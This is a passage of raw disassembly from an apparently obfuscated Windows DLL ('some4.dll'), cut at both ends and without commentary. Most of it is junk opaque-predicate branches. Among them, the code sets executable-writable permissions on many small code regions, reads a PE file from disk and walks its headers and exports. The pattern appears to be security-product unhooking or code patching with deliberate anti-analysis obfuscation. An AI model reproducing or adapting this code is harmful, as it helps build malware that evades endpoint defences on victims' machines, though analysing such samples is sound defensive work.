call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1c60]
mov rcx, qword [rax]
mov qword [sym.some4.dll_KxptmlFzNZBEmBsOXQZ], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1c68]
mov rcx, qword [rax]
mov qword [sym.some4.dll_yfBDBtZlFjdnebyXbgl], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1c70]
mov rcx, qword [rax]
mov qword [sym.some4.dll_ojCLKyEjVAhHtmSDyXi], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1c78]
mov rcx, qword [rax]
mov qword [sym.some4.dll_kOVocJvyKMTQomECTwk], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1c80]
mov rcx, qword [rax]
mov qword [sym.some4.dll_MzIQPUJrpYHcikYrBrp], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1c88]
mov rcx, qword [rax]
mov qword [sym.some4.dll_uBtZWhFgUSaJxDbqiPB], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1c90]
mov rcx, qword [rax]
mov qword [sym.some4.dll_ZubCDvEPzeCwJVMmDjH], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1c98]
mov rcx, qword [rax]
mov qword [sym.some4.dll_YuSpySUojWbACMcJshb], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1ca0]
mov rcx, qword [rax]
mov qword [sym.some4.dll_agbpPSWzCglnSMuIHgO], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1ca8]
mov rcx, qword [rax]
mov qword [sym.some4.dll_VcsAjehNAaUcpfXbMXj], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1cb0]
mov rcx, qword [rax]
mov qword [sym.some4.dll_rJUSVtDrqYJlcjrynXs], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1cb8]
mov rcx, qword [rax]
mov qword [sym.some4.dll_eRiOfttRspsOTolvZsV], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1cc0]
mov rcx, qword [rax]
mov qword [sym.some4.dll_RYRsHoOHbsmCjtMYlWt], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1cc8]
mov rcx, qword [rax]
mov qword [sym.some4.dll_vxkNxMlDVyZUcIIItBs], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1cd0]
mov rcx, qword [rax]
mov qword [sym.some4.dll_eGhPTQFXDzklAAGULpZ], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
lea rcx, [0x662581f0]
mov edx, 0x80000000
mov r8d, 1
xor eax, eax
mov r9d, eax
sub rsp, 0x40
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x40
mov rcx, rax
mov rax, qword [rbp + 0x1ce8]
mov qword [rax], rcx
mov rcx, qword [rax]
xor eax, eax
mov edx, eax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetFileSize]
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp + 0x1cf0]
mov dword [rax], ecx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x1cf0]
mov eax, dword [rax]
mov r8d, eax
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbp + 0x1ce8]
mov r9, qword [rbp + 0x1cf8]
mov rdx, qword [rbp + 0x1d00]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp + 0x1cf0]
mov qword [rdx], r8
mov rcx, qword [rcx]
mov rdx, qword [rdx]
mov r8d, dword [rax]
xor eax, eax
sub rsp, 0x30
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r11, qword [rbp + 0x1d00]
mov r9, qword [rbp + 0x1d18]
mov r10, qword [rbp + 0x1d10]
mov r8, qword [rbp + 0x1d28]
mov rdx, qword [rbp + 0x1d20]
mov rcx, qword [rbp + 0x1d30]
add rsp, 0x30
mov rax, qword [rbp + 0x1d38]
mov rdi, qword [r11]
mov qword [rsi], rdi
mov r11, qword [r11]
mov rsi, qword [rsi]
movsxd rdi, dword [rsi + 0x3c]
xor esi, esi
sub rsi, r11
xor r11d, r11d
sub r11, rdi
add rsi, r11
xor r11d, r11d
sub r11, rsi
mov qword [r10], r11
mov r11, qword [r10]
mov r11d, dword [r11 + 0x88]
mov dword [r9], r11d
mov r9, qword [r10]
movabs r11, 0xff437f6682a008e4
sub r9, r11
add r9, 0x18
movabs r11, 0xff437f6682a008e4
add r9, r11
mov r10, qword [r10]
movzx r10d, word [r10 + 0x14]
movabs r11, 0xb071cab61cc7082d
add r9, r11
add r9, r10
movabs r10, 0xb071cab61cc7082d
sub r9, r10
mov qword [rdx], r9
mov r9, qword [rdx]
mov qword [r8], r9
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0
mov rax, qword [rbp + 0x1d10]
mov rcx, qword [rbp + 0x1d38]
mov ecx, dword [rcx]
mov dword [rbp + 0x1354], ecx
mov rax, qword [rax]
add rax, 4
mov qword [rbp + 0x1358], rax
mov rax, qword [rbp + 0x1358]
movzx eax, word [rax + 2]
mov dword [rbp + 0x1350], eax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x52140430
sub edx, 1
add edx, 0x52140430
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614b7f0
jmp 0x6617280b
mov eax, dword [rbp + 0x1354]
mov ecx, dword [rbp + 0x1350]
cmp eax, ecx
setl al
mov byte [rbp + 0x134f], al
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x82fea5ff
sub edx, 1
sub edx, 0x82fea5ff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614b84b
jmp 0x6617280b
mov al, byte [rbp + 0x134f]
test al, 1
jne 0x6614b85e
jmp 0x6614bb5c
mov rax, qword [rbp + 0x1d20]
mov rcx, qword [rax]
sub rsp, 0x20
lea rdx, [0x6625820e]
call sub.msvcrt.dll_strcmp
add rsp, 0x20
mov dword [rbp + 0x1348], eax
mov eax, dword [rbp + 0x1348]
cmp eax, 0
sete al
mov byte [rbp + 0x1347], al
mov al, byte [rbp + 0x1347]
test al, 1
jne 0x6614b8a7
jmp 0x6614b98e
mov rax, qword [rbp + 0x1d20]
mov rax, qword [rax]
mov qword [rbp + 0x1338], rax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0xe186d4aa
sub edx, 1
add edx, 0xe186d4aa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614b92f
jmp 0x66172810
mov rax, qword [rbp + 0x1d30]
mov rcx, qword [rbp + 0x1338]
mov qword [rax], rcx
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x98634c08
sub edx, 1
add edx, 0x98634c08
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614b984
jmp 0x66172810
jmp 0x6614b989
jmp 0x6614bb5c
mov rax, qword [rbp + 0x1d20]
mov rax, qword [rax]
add rax, 0x28
mov qword [rbp + 0x1330], rax
mov rax, qword [rbp + 0x1d20]
mov rcx, qword [rbp + 0x1330]
mov qword [rax], rcx
jmp 0x6614b9b9
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x9bd7b194
sub edx, 1
sub edx, 0x9bd7b194
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614ba30
jmp 0x66172826
mov rax, qword [rbp + 0x1d38]
mov eax, dword [rax]
mov dword [rbp + 0x132c], eax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614bab1
jmp 0x66172826
jmp 0x6614bab6
mov rax, qword [rbp + 0x1d38]
mov ecx, dword [rbp + 0x132c]
add ecx, 0xf0f88d42
add ecx, 1
sub ecx, 0xf0f88d42
mov dword [rax], ecx
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614bb13
jmp 0x6617282b
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x694ac26f
sub edx, 1
sub edx, 0x694ac26f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614bb57
jmp 0x6617282b
jmp 0x6614b744
mov rax, qword [rbp + 0x1d00]
mov rax, qword [rax]
mov qword [rbp + 0x1320], rax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x5a44410c
sub edx, 1
add edx, 0x5a44410c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614bbe4
jmp 0x66172830
mov rax, qword [rbp + 0x1d18]
mov eax, dword [rax]
mov qword [rbp + 0x1318], rax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614bc33
jmp 0x66172830
jmp 0x6614bc38
mov rax, qword [rbp + 0x1d30]
mov rdx, qword [rbp + 0x1318]
mov rcx, qword [rbp + 0x1320]
add rcx, rdx
mov rdx, qword [rax]
sub rsp, 0x20
call sym.some4.dll_RVAtoRawOffset_unsigned_long_long___IMAGE_SECTION_HEADER_
mov rcx, qword [rbp + 0x1e00]
add rsp, 0x20
mov rdx, rax
mov rax, qword [rbp + 0x1d40]
mov qword [rax], rdx
sub rsp, 0x20
call fcn.661fb2e0
mov rcx, qword [rbp + 0x1df8]
mov r8, qword [rbp + 0x1e00]
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x66258215]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
add rsp, 0x20
jmp 0x6614bca8
mov rdx, qword [rbp + 0x1df8]
mov rcx, qword [rbp + 0x1df0]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614bccf
mov rdx, qword [rbp + 0x1df0]
mov rcx, qword [rbp + 0x1de8]
sub rsp, 0x20
lea r8, [0x66258219]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614bcf6
mov rdx, qword [rbp + 0x1de8]
mov rcx, qword [rbp + 0x1de0]
sub rsp, 0x20
lea r8, [0x6625821b]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614bd1d
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x65a9c14e
sub edx, 1
sub edx, 0x65a9c14e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614bd61
jmp 0x66172835
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614bdd3
jmp 0x66172835
mov rdx, qword [rbp + 0x1de0]
mov rcx, qword [rbp + 0x1dd8]
sub rsp, 0x20
lea r8, [0x6625821b]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614bdfa
mov rdx, qword [rbp + 0x1dd8]
mov rcx, qword [rbp + 0x1dd0]
sub rsp, 0x20
lea r8, [0x6625821d]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614be21
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614be60
jmp 0x6617283a
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x6e7ab8bc
sub edx, 1
add edx, 0x6e7ab8bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614bea4
jmp 0x6617283a
mov rdx, qword [rbp + 0x1dd0]
mov rcx, qword [rbp + 0x1dc8]
sub rsp, 0x20
lea r8, [0x6625821f]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614becb
mov rdx, qword [rbp + 0x1dc8]
mov rcx, qword [rbp + 0x1dc0]
sub rsp, 0x20
lea r8, [0x66258221]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614bef2
mov rdx, qword [rbp + 0x1dc0]
mov rcx, qword [rbp + 0x1db8]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614bf19
mov rdx, qword [rbp + 0x1db8]
mov rcx, qword [rbp + 0x1db0]
sub rsp, 0x20
lea r8, [0x66258223]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614bf40
mov rdx, qword [rbp + 0x1db0]
mov rcx, qword [rbp + 0x1da8]
sub rsp, 0x20
lea r8, [0x66258225]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614bf67
mov rdx, qword [rbp + 0x1da8]
mov rcx, qword [rbp + 0x1da0]
sub rsp, 0x20
lea r8, [0x66258227]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614bf8e
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0xc80e5d9c
sub edx, 1
sub edx, 0xc80e5d9c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614bfd2
jmp 0x6617283f
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0xd323ce40
sub edx, 1
sub edx, 0xd323ce40
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c016
jmp 0x6617283f
mov rdx, qword [rbp + 0x1da0]
mov rcx, qword [rbp + 0x1d98]
sub rsp, 0x20
lea r8, [0x66258229]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c03d
mov rdx, qword [rbp + 0x1d98]
mov rcx, qword [rbp + 0x1d90]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c064
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0xb9ce29a3
sub edx, 1
sub edx, 0xb9ce29a3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c0a8
jmp 0x66172844
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x76ab1935
sub edx, 1
sub edx, 0x76ab1935
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c0ec
jmp 0x66172844
mov rdx, qword [rbp + 0x1d90]
mov rcx, qword [rbp + 0x1d88]
sub rsp, 0x20
lea r8, [0x6625822b]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c113
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614c185
jmp 0x66172849
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614c1f7
jmp 0x66172849
mov rdx, qword [rbp + 0x1d88]
mov rcx, qword [rbp + 0x1d80]
sub rsp, 0x20
lea r8, [0x66258221]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c21e
mov rdx, qword [rbp + 0x1d80]
mov rcx, qword [rbp + 0x1d78]
sub rsp, 0x20
lea r8, [0x6625821b]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c245
mov rdx, qword [rbp + 0x1d78]
mov rcx, qword [rbp + 0x1d70]
sub rsp, 0x20
lea r8, [0x6625822d]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c26c
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x5ec31bcc
sub edx, 1
sub edx, 0x5ec31bcc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c2b0
jmp 0x6617284e
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0xadde28f3
sub edx, 1
sub edx, 0xadde28f3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c2f4
jmp 0x6617284e
mov rdx, qword [rbp + 0x1d70]
mov rcx, qword [rbp + 0x1d68]
sub rsp, 0x20
lea r8, [0x66258223]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c31b
mov rdx, qword [rbp + 0x1d68]
mov rcx, qword [rbp + 0x1d60]
sub rsp, 0x20
lea r8, [0x6625822f]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c342
mov rdx, qword [rbp + 0x1d60]
mov rcx, qword [rbp + 0x1d58]
sub rsp, 0x20
lea r8, [0x6625821d]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c369
mov rdx, qword [rbp + 0x1d58]
mov rcx, qword [rbp + 0x1d50]
sub rsp, 0x20
lea r8, [0x66258229]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c390
mov rdx, qword [rbp + 0x1d50]
mov rcx, qword [rbp + 0x1d48]
sub rsp, 0x20
lea r8, [0x66258231]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c3b7
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
